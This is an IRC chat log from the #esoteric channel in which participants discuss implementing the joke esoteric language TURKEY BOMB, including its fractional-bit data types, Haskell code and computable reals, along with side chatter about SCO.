PRIVMSG #esoteric :?????????? < 1267464683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there's a slight issue in that i think the maximum value 5/3 bits can represent may be irrational < 1267464707 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cube root of 32 anyway < 1267464827 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a Station V3 addict
< 1267464925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: who would have thought implementing turkey bomb correctly would require computable reals? < 1267464932 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267464966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267465015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: 0 ≤ x³ ≤ 32 where x is a BI_IT < 1267465038 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :sure it's not < 32? < 1267465040 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1267465043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: 0 ≤ (x+1)³ ≤ 32 where x is a BI_IT < 1267465054 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :now you have the /lower/ bound wrong < 1267465064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267465070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, it's 5/3 bits < 1267465075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2^(5/3) = 3√32 < 1267465081 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267465088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2^2 = 4 < 1267465098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2 bits can store 0 to 3 < 1267465113 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :2 bits is more than enough, 1 is not enough < 1267465113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so 0 ≤ x ≤ 3 < 1267465126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so what is it actually < 1267465132 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if we want the regular zero to n inclusive < 1267465140 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 < (x+1)³ ≤ 32? < 1267465240 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't actually say BI_ITs are unsigned, acutally < 1267465241 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*actually < 1267465245 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: are BI_ITs signed or unsigned? :P < 1267465450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: heh, NEGATIVE_AMICEDs are (6*log(10))/(7*log(2)) bits big < 1267465470 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's bound to simplify < 1267465479 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes. < 1267465480 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Om < 1267465521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: not that expression, no: http://www.wolframalpha.com/input/?i=6%2F7+*+log%282%2C10%29&a=*FunClash.log-_*Log.Log10- < 1267465524 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION could easily stay here reading Station V3 all day instead of going to school
< 1267465529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but 0 <= x < 2^((6*log(10))/(7*log(2))), yes, probably. < 1267465538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: So do so! :P < 1267465544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267465548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 <= x < 10^(6/7) < 1267465607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :... wait, that's obvious. Uh, I think. < 1267465616 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is obvious < 1267465624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah i'm not thinking all too clearly atm < 1267465626 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267465711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : theory: it was an extra (rush hour) bus going only to your end station <-- except I don't live at an end station < 1267465712 0 :asiekierka!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267465735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: so the condition is 0 <= x^7 < 10^6 < 1267465760 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you keep assuming there are an integral number of possibilities < 1267465761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* oerjan has quit (Quit: Fucking Friendly Families For Fun) <-- interesting quit message < 1267465770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm surprised that scarf didn't comment upon it < 1267465774 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :figari < 1267465786 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I missed it, but I will continue to not comment on it < 1267465809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: howso < 1267465853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so what about that spec before? < 1267465863 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember you commenting any further on that early draft < 1267465873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, you just commented on it by replying to me there < 1267465876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267465894 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: not directly < 1267465897 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: context? < 1267465905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"alise: you keep assuming there are an integral number of possibilities" < 1267465916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, indirectly also counts < 1267465921 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: because you're working out the largest integer that fits in x < 1267465963 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right you are. i should have slept more last night :| < 1267465971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :especially when doing turkey bomb < 1267465989 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think n > 0 && n^3 < 32 is still sound though < 1267465998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :argh, fucking haskell < 1267466002 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Sorry, I probably won't be able to get around to it soon... too much real work. < 1267466003 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can't do exponentials with a Rational < 1267466005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because it's not a Floating < 1267466011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, okay < 1267466045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I expect there will be updates to it, so better check in irc logs for last version when you *do* decide to read it. < 1267466118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: it seems to work < 1267466122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so i'm not sure I follow < 1267466131 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :meh, never mind < 1267466138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :noo don't say that < 1267466256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : argh, fucking haskell <-- I never, ever, thought I would hear you say that < 1267466271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway, it does sound like a strange restriction < 1267466328 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data SixSeventhsOfADecimalDigit = SixSeventhsOfADecimalDigit Rational deriving (Show) < 1267466329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :negativeAmicedGuts :: Rational -> Maybe SixSeventhsOfADecimalDigit < 1267466329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :negativeAmicedGuts n < 1267466329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | n >= 0 && n^7 < 10^6 = Just (SixSeventhsOfADecimalDigit n) < 1267466329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | otherwise = Nothing < 1267466334 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what are you doing??????? < 1267466347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for integer exponents it is trivial to implement. Somewhat more involved for non-integers. < 1267466357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: implementing TURKEY BOMB < 1267466358 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: failing to implement TURKEY BOMB < 1267466359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://catseye.tc/projects/turkeyb/doc/turkeyb.html < 1267466362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oi < 1267466367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: i'm not failing! < 1267466374 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you will be eventually < 1267466391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what about ZILCH? < 1267466400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data Value = ZILCH | ... < 1267466412 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just like data () = (), it carries 0 bits of information and can be omitted everywhere < 1267466422 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :more fun going on over at SCO, btw; Darl McBride, the former CEO, is now trying to buy some of its stuff off it < 1267466437 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267466453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1267466464 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, any patents? < 1267466467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess < 1267466471 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267466475 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no patents < 1267466485 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the bizarre list I wrote in-channel earlier was a list of some of it, though < 1267466502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for that list
< 1267466507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :where? < 1267466511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :05:14:57 snowplow, grassroots, mobile OE, MPSEB Indian utility co. meter reading, Delhi traffic police, Citibank demo documentation, Disprax (fake screen shots only), Jackson Builders, Aston Villa, NREGA employment census, smnp hardware monitoring, NDPL power, PG Call Home < 1267466516 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They own Delhi traffic police? < 1267466516 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think it's a list of companies that they gave demos to, or something < 1267466517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267466525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And Aston Villa! < 1267466532 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: ownership seems unlikely, it's more likely to be some sort of joint projec < 1267466534 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*project < 1267466546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"TRIVIA CONCERNING type < 1267466546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Three references: one to an object of the named type, two to TRIVIA objects." < 1267466550 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Two to trivia objects of... any type? < 1267466551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1267466552 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although, it wouldn't surprise me if Darl thought SCO did learn all that list < 1267466561 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*did own < 1267466575 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the funny thing is, he's offering $35,000, and some people are trying to outbid him < 1267466581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267466588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :grassroots? < 1267466591 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, the lawns? < 1267466593 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :my theory is that he's trying to drain $35,000 from the open-source community by getting them to buy a worthless list of random < 1267466593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | TRIVIA_CONCERNING Value Value Value < 1267466593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd put type information in the Haskell types but I bet TURKEY BOMB can subvert even that heroic effort. < 1267466597 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: again, who knows < 1267466600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ? < 1267466608 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :* AnMaster: < 1267466609 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :worth a try < 1267466615 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, wait, can't < 1267466616 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nm < 1267466617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ? < 1267466626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267466630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Exactly fifteen bytes, no exceptions." < 1267466633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was a correction < 1267466633 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, if Darl wants to buy it so badly, it must be valuable, right? < 1267466633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well that's not going to be workable. < 1267466643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, why not? < 1267466646 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I used some padding to manage that in C++ < 1267466657 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just wait until you reach the quarter-of-a-reference type < 1267466664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what? you implemented turky bomb in C? < 1267466666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err C++ < 1267466667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, I mean, Haskell doesn't really have the concept of sizes of its values, so... < 1267466669 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that was trivial on my machine with 32-bit pointers, but other bits were harder < 1267466670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: he tried < 1267466673 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: no, I just started < 1267466677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267466680 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I had most of the declarations there, but no code < 1267466682 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*AnMaster: < 1267466685 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :stupid tab-complete < 1267466690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd rewrite in C, but I want rationals < 1267466718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, note that pudding and "HUMIDOR BUILT UP FROM type, type & type " both have infinite size < 1267466730 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you can do them lazily < 1267466739 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh good point < 1267466769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also not 1/4 of a reference < 1267466770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is: < 1267466774 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"A quarter of the platform-defined pointer size." < 1267466802 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and how did you implement AMICED? < 1267466805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :PUDDING is just a reference to everything in a humidor; or, a reference to the entire universe sans one value (so you can just store that value); < 1267466817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or, a reference to the entire metaphysical nature of an expression < 1267466827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: make the value be a NEGATIVE_AMICED < 1267466830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like scarf did < 1267466831 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: AMICED is relatively easy; the weird bitwidth is harder than the actual negativeness < 1267466842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, oh? < 1267466844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267466860 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it hardly matters anyway, as I don't know of any actual way to create a value of type AMICED < 1267466877 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :according to the rules, you can just specify a variable and its value to declare one < 1267466889 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but what's the syntax for an AMICED literal? < 1267466906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :clearly the actual bits and trits are embedded in the source < 1267466911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :since we only have bits trits are represented as bits < 1267466919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the following 5/3 bits of the source code are the value < 1267466922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1267466932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why would you need syntax? you have the inherent syntax of character arrays right in front of you < 1267466942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now clearly amiced is negative < 1267466948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the /preceeding/ 5/3 bits are the value < 1267466951 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hey, you know how, say, bz2 treats the data as a stream of bits, rather than octets? < 1267466954 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so if it was < 1267466956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x = y < 1267466958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it'd be < 1267466971 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :could you treat the program as a purenumber, and take fractional bits from that? < 1267466972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x =y= < 1267466973 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1267466989 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where the latter is 2/3rds < 1267466990 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of a = < 1267466993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and the former is 1/3rd < 1267466994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1267466997 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no esiy < 1267466998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no wait < 1267466999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's bytes < 1267467001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you get the idea < 1267467011 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: eh? < 1267467027 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: say, you have a huge purenumber < 1267467033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, " AnMaster: AMICED is relatively easy; the weird bitwidth is harder than the actual negativeness" < 1267467034 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ANHAHA < 1267467035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but actually < 1267467036 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can extract one bit from it by dividing by 2 and taking the remainder < 1267467040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" Negative six sevenths of a decimal digit. " < 1267467046 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and one trit by dividing by 3 and taking the remainder < 1267467046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck is a decimal digit here < 1267467050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how wide is it < 1267467057 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ln(10)/ln(2) bits < 1267467060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, is it stored as BCD perhaps < 1267467062 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just like normal decimal digits < 1267467062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is my guess < 1267467067 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and no, it's stored as decimal < 1267467068 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oh very good idea < 1267467075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :let's do it < 1267467078 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: this may even extend to fractional bits < 1267467080 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: collaborate? or am i just too crazy for you < 1267467083 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I'm not sure < 1267467099 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I would, but I need to get some RL work done by three days ago, only nobody's noticed I haven't done it yet < 1267467112 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :get going then! < 1267467113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :divide by 5/3*2 and take the remainder obvs < 1267467131 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, ofc < 1267467148 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and an AMICED literal would presumably /add/ info to the source < 1267467158 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :whatever info gets added, that's the value that the AMICED doesn't contain < 1267467161 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's all falling into place < 1267467166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm no < 1267467177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think "The following -n bits" = "The preceding n bits" < 1267467181 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't < 1267467182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but maybe you're right < 1267467193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you specify every 5/3 bit value apart from the one it contains? < 1267467197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rer < 1267467198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er < 1267467200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :doesn't contain < 1267467201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so to speak < 1267467229 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :think about it this way: a literal bit has 2 possible values, 0 and 1; code containing a literal bit, you have 2 possibilities for the code giving 2 values for the bit, and 1 possibility for the rest of the code, assuming all you change is that bit < 1267467249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`addquote and an AMICED literal would presumably /add/ info to the source whatever info gets added, that's the value that the AMICED doesn't contain it's all falling into place < 1267467250 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :135| and an AMICED literal would presumably /add/ info to the source whatever info gets added, that's the value that the AMICED doesn't contain it's all falling into place < 1267467253 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :now, a literal negative bit has half a possible value; code containing a literal for that, you have 1 possibility for the code but 2 possibilities for the rest of the code < 1267467260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: so, wait < 1267467276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :bi_its can't just be integers < 1267467280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because the fractional portion gets wasted < 1267467283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so are they rationals? reals? < 1267467286 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not specified < 1267467289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I give up understanding this < 1267467292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ieee floats? < 1267467294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :better to avoid going insane < 1267467301 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess a real < 1267467305 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: they're something with... a fractional number of possibilities < 1267467305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :since we're dividing the program < 1267467309 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, wait, rationals < 1267467318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yes, but we're dividing by a fractional number and taking the remainder < 1267467328 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm wait < 1267467335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, fmod()? < 1267467335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a negative amiced isn't a rational number of bits < 1267467340 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so it /has/ to be reals < 1267467340 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267467351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we need a computable real system to do all this < 1267467370 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which means we're losing some nice things... for instance equality won't terminate if the two reals aren't equal < 1267467377 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is the bit width of a decmial digit? < 1267467384 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :meh, TURKEY BOMB doesn't have equality, maybe that's why < 1267467391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: log(10)/log(2) < 1267467402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm okay < 1267467405 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you can even implement this, using 10-valued logic < 1267467407 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just it would be a real pain < 1267467412 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but turkey bomb doesn't specify ascii or whatever < 1267467413 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and you have to do it in hardware not software < 1267467416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so how do we construct the program number? < 1267467433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, you could emulate it in software? By writing a 10-valued-logic-emulator? < 1267467433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oooh! < 1267467438 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: presumably, as an expression, Mathematica-style < 1267467446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously the character set has exactly the number of characters that are used in the monospace portions of the spec < 1267467460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: no, i mean, we don't actually have a defined way to make the text into a number < 1267467464 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I see something neat about, one program containing a negative-bit literal contains 1/2 a possibility for that literal * 2 for the rest of the program < 1267467467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, after all you can emulate ternary systems... < 1267467476 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: syntax is the least of my worries here :) < 1267467479 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously the character set has exactly the number of characters that are used in the monospace portions of the spec, and they are ordered by order of occurence (not from CLIN_TON; that's part of the older-human-written stuff) < 1267467485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no? :P < 1267467491 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep, that involves wasting a bit of memory, though, and TURKEY BOMB dislikes padding < 1267467499 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: maybe < 1267467512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well write it in VHDL then! < 1267467517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1267467522 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what is TURKEY BOBM < 1267467522 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oh, wait, the article is in ASCII, and it says it originates from the late 90s < 1267467529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and ASCII would have been used then < 1267467542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so clearly, as they wouldn't DARE reinterpreting the monospace things from the spec for... some reason, it's ASCII < 1267467559 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: take a turkey (preferably, a real, live turkey), or a time bomb (preferably, a real, live time bomb); preferably both, /securely/ strapped together < 1267467569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh great, we're going to have control characters in literals < 1267467590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: ...and DRINK! < 1267467654 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You know, when you consider both the premise of TURKEY BOMB, and the fact that FBBI stands for "Flaming Bovine Befunge Interpreter"... I'll bet the SPCA hates me. < 1267467668 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: now ANSWER OUR INQUIRIES!!!! < 1267467673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267467691 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, OTOH, the TURKEY BOMB spec does seem to imply particular 